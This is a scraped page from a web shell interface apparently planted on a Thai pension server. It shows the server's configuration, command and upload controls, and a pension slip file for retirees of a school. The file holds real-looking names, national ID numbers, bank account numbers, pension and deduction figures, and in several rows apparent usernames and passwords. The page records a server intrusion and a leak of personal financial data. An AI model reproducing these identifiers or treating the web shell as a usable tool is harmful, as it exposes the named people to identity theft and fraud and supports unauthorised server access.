403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/pension/dataslip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/pension/dataslip/d022568.upd
ชื่อ-นามสกุล|เลขประจำตัวประชาชน|เลขบัญชีธนาคาร|บำนาญที่อนุมัติ|บำนาญเพิ่มรวม|บำนาญเพิ่มตาม ม.46|สปช.25%|บทช.|ชคบ.|ชรบ.|ตกเบิกรวม|||เงินตกเบิก|รวมรายรับ|ภาษี|กบข./กสจ.|ชพค.|ชพส.|ฌค.ศก.|บำเหน็จค้ำประกัน|สหกรณ์ออมทรัพย์|ออมสิน1|ออมสิน2|ออมสิน3|ธอส||||||||||||||||||||||||รวมรายจ่าย|ยอดโอนเข้าบัญชี|โรงเรียน|วดป.จ่าย
นายบุญรุ้ง สีดำ|3330700039|3121404369|21,093.60|||||1,632.00||||||22,725.60||||||1,947.06|||||||||||||||||||||||||||||1,947.06|20,778.54|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายชำนาญ พ่วงจีน|3120500068|3121177109|27,237.60|||||1,089.00||||||28,326.60|124.66|||||2,502.24|||||||||||||||||||||||||||||2,626.90|25,699.70|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายชาญวิทย์ สะอาด|3330400897|3121216333|30,186.00|||||2,086.00||||||32,272.00|321.93||793.00|423.00|390.00||1,500.00||||||||||||||||||||||||||||3,427.93|28,844.07|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายวิวัฒน์ แขมคำ|wiwatwiwat|162498|41,512.80|||||1,660.00||||||43,172.80|1,108.94||793.00|423.00|390.00|6,700.00||11,000.00|||||||||||||||||||||||||||20,414.94|22,757.86|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายอนันต์ ธิบูรณ์บุญ|3330401497|3121189786|36,316.80|||||945.00||||||37,261.80|571.42||793.00|||3,437.13|16,000.00||||||||||||||||||||||||||||20,801.55|16,460.25|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|10,000.00|ออมสิน1|7,500.00|2
นายอำนวย ผ่องราษี|5330400067|3121296558|30,264.00|||||964.00||||||31,228.00|269.73||793.00|423.00|780.00|2,986.45|16,900.00||||||||||||||||||||||||||||22,152.18|9,075.82|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|4,600.00|1
นางอารุวรรณ ธิบูรณ์บุญ|5331000138|3121172247|62,100.00|||||1,437.00||||||63,537.00|3,572.21||793.00||390.00|7,822.21|||||||||||||||||||||||||||||12,577.42|50,959.58|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|40,000.00|1
นางกมลวรรณ ชูกลิ่น|MolWan5189|ChuKliN168|49,676.00|||||1,315.00||||||50,991.00|1,890.76||793.00|423.00|390.00||14,200.00||||||||||||||||||||||||||||17,696.76|33,294.24|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางวิราณี สุดา|3330400876|3121218077|58,947.00|||||1,407.00||||||60,354.00|3,094.76||793.00|423.00|390.00||3,000.00|5,900.00|||||||||||||||||||||||||||13,600.76|46,753.24|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายธีรกิตติ์ จันทร์ใส|Tee_Chansai|Teerakit_Ch|49,221.00|||||1,282.00||||||50,503.00|1,841.96||793.00||||||||||||||||||||||||||||||||2,634.96|47,868.04|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายสมชัย เย็นสมุทร|3331000441|3321321718|53,973.60|||||2,158.00||||||56,131.60|2,461.40||793.00|423.00|||3,500.00||||||||||||||||||||||||||||7,177.40|48,954.20|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายเสน่ห์ ลีลา|3339900029|3321100452|29,419.20|||||||||||29,419.20|||793.00|||4,100.00|15,700.00||||||||||||||||||||||||||||20,593.00|8,826.20|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|4,500.00|ออมสิน1|10,721.00|2
นางสุจิตรา สุพรม|SUJITTRA_SU|JITRA_SUPR0|60,249.60|||||||||||60,249.60|3,079.10||793.00||390.00|9,800.00||20,700.00|||||||||||||||||||||||||||34,762.10|25,487.50|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|32,000.00|1
นางนิภาภรณ์ จันทร์สว่าง|Nipapon499|Nipapon499|60,637.20|||||||||||60,637.20|2,387.24||793.00||||||||||||||||||||||||||||||||3,180.24|57,456.96|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางกัลยา วรรณวงศ์|KalayaSirn|NApatvongi|58,374.00|||||||||||58,374.00|2,422.76||793.00|423.00|||||||||||||||||||||||||||||||3,638.76|54,735.24|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางพวงรัตน์ เรืองมณี|3440100155|3261003871|51,383.20|||||||||||51,383.20|1,929.98||793.00|423.00||6,350.16|26,400.00||||||||||||||||||||||||||||35,896.14|15,487.06|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|7,200.00|ออมสิน1|7,500.00|2
นางอัมพร รุจิรารังสรรค์|5330490034|3121209140|41,402.40|||||||||||41,402.40|931.90||793.00|423.00|390.00||26,440.00||||||||||||||||||||||||||||28,977.90|12,424.50|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|10,660.00|1
นางสาวประภาพรรณ์ แก้วกลม|Praphaphan|5555555555|64,897.60|||||||||||64,897.60|3,776.30||793.00||||28,700.00||||||||||||||||||||||||||||33,269.30|31,628.30|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางสาวพนิตตา มานะศรีสุริยัน|Yung2500|Yung282500|66,278.40|||||||||||66,278.40|3,358.42||793.00|||16,700.00|25,500.00||||||||||||||||||||||||||||46,351.42|19,926.98|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|8,000.00|1
นางรุ่งนภา จันทร์ใส|Rungnapha|Chansaian|59,671.20|||||||||||59,671.20|2,992.34||793.00||||||||||||||||||||||||||||||||3,785.34|55,885.86|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายไพบูลย์ บุญชม|3330401065|3121273256|56,221.20|||||||||||56,221.20|1,663.78||793.00|423.00|390.00||11,600.00|20,700.00|||||||||||||||||||||||||||35,569.78|20,651.42|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายรังษี เลาหสูต|3330700020|3121311832|57,429.00|||||||||||57,429.00|2,656.01||793.00||||4,000.00||||||||||||||||||||||||||||7,449.01|49,979.99|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายณัชช์ฐกัณฐ์ ศรีสวัสดิ์|Ntk2806|28062500|42,243.60|||||||||||42,243.60|1,016.02||793.00|423.00||5,700.00|21,100.00||||||||||||||||||||||||||||29,032.02|13,211.58|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|ออมสิน1|26,500.00|1
นางสุวลักษณ์ จักขุจันทร|3330400880|3121839594|50,956.80|||||||||||50,956.80|589.50||793.00|423.00||6,278.99|27,000.00||||||||||||||||||||||||||||35,084.49|15,872.31|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|6,000.00|ออมสิน1|17,795.00|ออมสิน2|1,020.00|3
นางสิรังยานุกูล บุญค้ำมา|3330401101|3120102490|60,858.00|||||||||||60,858.00|3,170.36||793.00|423.00|780.00|7,931.41|20,000.00||||||||||||||||||||||||||||33,097.77|27,760.23|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|9,000.00|ออมสิน1|12,900.00|ออมสิน2|10,000.00|3
นางกนกลดา สมพงษ์|K160701|K160701|49,450.00|||||||||||49,450.00|||793.00|||7,200.00||7,500.00|||||||||||||||||||||||||||15,493.00|33,957.00|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายอัฒช์ธิอาจ พิทักษ์วงศ์|3330401628|3120536539|66,278.40|||||||||||66,278.40|3,608.42||793.00|423.00||8,836.03||16,700.00|7,500.00|2,000.00|||||||||||||||||||||||||39,860.45|26,417.95|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายถวิล คุณสวัสดิ์|3330401629|3121215418|62,560.00|||||||||||62,560.00|3,425.66||793.00||390.00|8,215.46|29,100.00||||||||||||||||||||||||||||41,924.12|20,635.88|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|ออมสิน1|7,500.00|1
นางกาญจนา แขมคำ|kanjanakh|2501250199|66,278.40|||||||||||66,278.40|2,852.67||793.00|423.00|390.00|8,900.00||10,900.00|10,900.00||||||||||||||||||||||||||35,158.67|31,119.73|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|ออมสิน1|6,800.00|1
นายสิทธิสมุทร เพ็งชัย|Sit182501|0819771344|64,897.60|||||||||||64,897.60|2,015.04||793.00|423.00||9,600.00|23,700.00|7,500.00|||||||||||||||||||||||||||44,031.04|20,866.56|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางสาวแจ่มจันทร์ คุณมาศ|Cham245720|cham245720|65,280.00|||||||||||65,280.00|2,833.66||793.00|||7,800.00|7,600.00||||||||||||||||||||||||||||19,026.66|46,253.34|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายอุดม ดำริห์|3330400412|3121312081|71,285.20|||||||||||71,285.20|3,521.94||793.00|423.00||7,788.22|13,600.00|13,800.00|||||||||||||||||||||||||||39,926.16|31,359.04|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางสาวพุฒพร รัตนวัน|3339900134|3121185918|69,040.00|||||||||||69,040.00|3,817.54||793.00||390.00|8,600.00|24,900.00||||||||||||||||||||||||||||38,500.54|30,539.46|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายสาเกียรติ แก้วปักษา|3330100526|3121215175|52,705.80|||||||||||52,705.80|1,801.79||793.00|||6,570.89||14,100.00|13,400.00||||||||||||||||||||||||||36,665.68|16,040.12|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|ออมสิน2|4,000.00|1
นางศรีรัตนา ฝอยทอง|3330300948|3121134302|58,725.00|||||||||||58,725.00|2,850.41||793.00|423.00||7,771.23|14,500.00|14,400.00|||||||||||||||||||||||||||40,737.64|17,987.36|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|ออมสิน1|3,000.00|1
นางคำนวน ไชยะเดชะ|Kumnuan|252363|57,300.60|||||||||||57,300.60|2,124.70||793.00|423.00|390.00||9,000.00||||||||||||||||||||||||||||12,730.70|44,569.90|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางสุภรัตน์ ยิ่งดี|suparatyingdee|suparat2503|55,143.00|||||||||||55,143.00|1,705.96||793.00|423.00|780.00|7,788.22|22,500.00|4,570.00|||||||||||||||||||||||||||38,560.18|16,582.82|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|ออมสิน1|7,600.00|1
นายนิเชษฐ์ มหาลี|3330501180|3121169173|62,468.00|||||||||||62,468.00|2,411.86||793.00|423.00||8,871.80|27,490.00|3,600.00|||||||||||||||||||||||||||43,589.66|18,878.34|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|2,510.00|ออมสิน1|9,000.00|2
นางวิไลกลุต์ ขวัญนู|3330100012|3120272825|39,519.90|||||||||||39,519.90|392.66||793.00|||5,171.66|||||||||||||||||||||||||||||6,357.32|33,162.58|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางจันทร์เพ็ญ ชนะปลอด|3411300411997|3121428160|31,152.80|||||||||||31,152.80|265.97||793.00|||2,502.94|13,100.00||||||||||||||||||||||||||||16,661.91|14,490.89|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายกุญช์ภัช เย็นใจ|KU25036666|25036666|41,926.50|||||||||||41,926.50|870.57||793.00|423.00||5,400.00|||||||||||||||||||||||||||||7,486.57|34,439.93|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายจันสอน ทองลอย|3250100722|3261180749|28,728.19|||||||||||28,728.19|||793.00|423.00|||6,300.00||||||||||||||||||||||||||||7,516.00|21,212.19|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางสาวนภาพิมพ์ ทองปัญญา|napapim|166504|64,897.60|||||||||||64,897.60|3,105.08||793.00||390.00|11,400.00|16,500.00|7,500.00|||||||||||||||||||||||||||39,688.08|25,209.52|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางปณิชา ศรีมาธรณ์|3331000781|3121215701|65,875.60|||||||||||65,875.60|2,129.22||793.00||||22,000.00||||||||||||||||||||||||||||24,922.22|40,953.38|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางบุศย์รินทร์ ดาทอง|butsarin|sudarat64|63,516.80|||||||||||63,516.80|2,060.01||793.00|423.00|390.00|11,800.00|7,500.00||||||||||||||||||||||||||||22,966.01|40,550.79|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางสุวภัทร ศรีนวล|3540100114|3121281852|59,116.60|||||||||||59,116.60|2,846.65||1,586.00|846.00||16,000.00|13,100.00||||||||||||||||||||||||||||34,378.65|24,737.95|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางสาวรัตติยา สนิท|RATTIYA04|RATTIYA04|63,516.80|||||||||||63,516.80|3,088.56||793.00||||30,600.00||||||||||||||||||||||||||||34,481.56|29,035.24|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางพรรณาภา สุภรณพงษ์|1004Berm|1004Berm|62,247.20|||||||||||62,247.20|1,703.88||793.00|423.00|780.00||9,900.00||||||||||||||||||||||||||||13,599.88|48,647.32|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางศรีสุข แย้มสง่า|Leksrisuk|Srisuk1108|41,681.15|||||||||||41,681.15|519.90||793.00||||16,100.00||||||||||||||||||||||||||||17,412.90|24,268.25|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางเนติมน มีศิริ|3460700823|3120166804|54,756.20|||||||||||54,756.20|2,267.28||793.00|423.00|390.00|6,212.74|28,200.00||||||||||||||||||||||||||||38,286.02|16,470.18|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|9,300.00|ออมสิน1|11,310.00|2
นายสมศิลป ทองดา|3330501216|3121223526|57,678.40|||||||||||57,678.40|2,693.42||793.00||780.00||||||||||||||||||||||||||||||4,266.42|53,411.98|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางวิลาวัลย์ เพ็งชัย|Wilawan|0819771344|66,278.40|||||||||||66,278.40|3,983.42||793.00|423.00||10,800.00|16,100.00||||14,000.00||||||||||||||||||||||||46,099.42|20,178.98|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|18,000.00|1
นางประนอมนิศญ์ เย็นใจ|MU25056666|25056666|43,659.00|||||||||||43,659.00|1,157.56||793.00|423.00||5,600.00||22,400.00|||||||||||||||||||||||||||30,373.56|13,285.44|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|ออมสิน1|2,000.00|1
นางอัมพรรัตน์ กุคำทอน|Kuk1962|Kuk1962|66,278.40|||||||||||66,278.40|3,983.42||793.00||390.00|13,100.00|13,700.00|7,500.00|||||||||||||||||||||||||||39,466.42|26,811.98|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางรวงทอง คุณสวัสดิ์|3330200121|3121185195|60,893.20|||||||||||60,893.20|3,175.64||793.00||390.00|7,900.00|30,000.00||||||||||||||||||||||||||||42,258.64|18,634.56|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|2,000.00|ออมสิน1|7,500.00|2
ว่าที่ร้อยตรีเหรียญ ดาทอง|Rian_2565|ict_603|61,635.80|||||||||||61,635.80|3,287.03||793.00|423.00|390.00|11,800.00|12,100.00||||||||||||||||||||||||||||28,793.03|32,842.77|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายเอกธนัช เหลาสิงห์|3330400413|3121260146|69,040.00|||||||||||69,040.00|3,647.66||793.00|423.00||6,614.94||20,200.00|10,261.00||||||||||||||||||||||||||41,939.60|27,100.40|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางสาวรพีพรรณ บุญเย็น|3330401162|3121481398|31,078.36|||||||||||31,078.36|137.25||793.00||390.00||5,100.00||||||||||||||||||||||||||||6,420.25|24,658.11|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางขวัญชีวา ศิริมา|Cheewa2507|Cheewa2507|42,213.60|||||||||||42,213.60|444.01||793.00|423.00||3,503.99||7,500.00|||||||||||||||||||||||||||12,664.00|29,549.60|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|19,200.00|1
สิบเอกสมศักดิ์ โกศล|kru-aut|30012507|52,197.60|||||||||||52,197.60|1,011.42||793.00|423.00|||9,400.00|13,000.00|||||||||||||||||||||||||||24,627.42|27,570.18|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นายลิน ยิ่งดี|linyingdee|linyingdee2506|63,331.20|||||||||||63,331.20|3,541.34||793.00|423.00|390.00||21,400.00||||||||||||||||||||||||||||26,547.34|36,783.86|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางพัทธยา ชุมสงคราม|rbee004862|0874543646|64,897.60|||||||||||64,897.60|3,776.30||793.00|423.00|390.00|8,800.00|27,600.00||||||||||||||||||||||||||||41,782.30|23,115.30|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568
นางอรวรรณ หลอมทอง|Orawan|85928592|34,154.19|||||||||||34,154.19|||793.00|423.00|||8,290.00||||14,400.00||||||||||||||||||||||||23,906.00|10,248.19|กันทรลักษ์วิทยา|21 กุมภาพันธ์ 2568|สหกรณ์ออมทรัพย์|110.00|1

Youez - 2016 - github.com/yon3zu
LinuXploit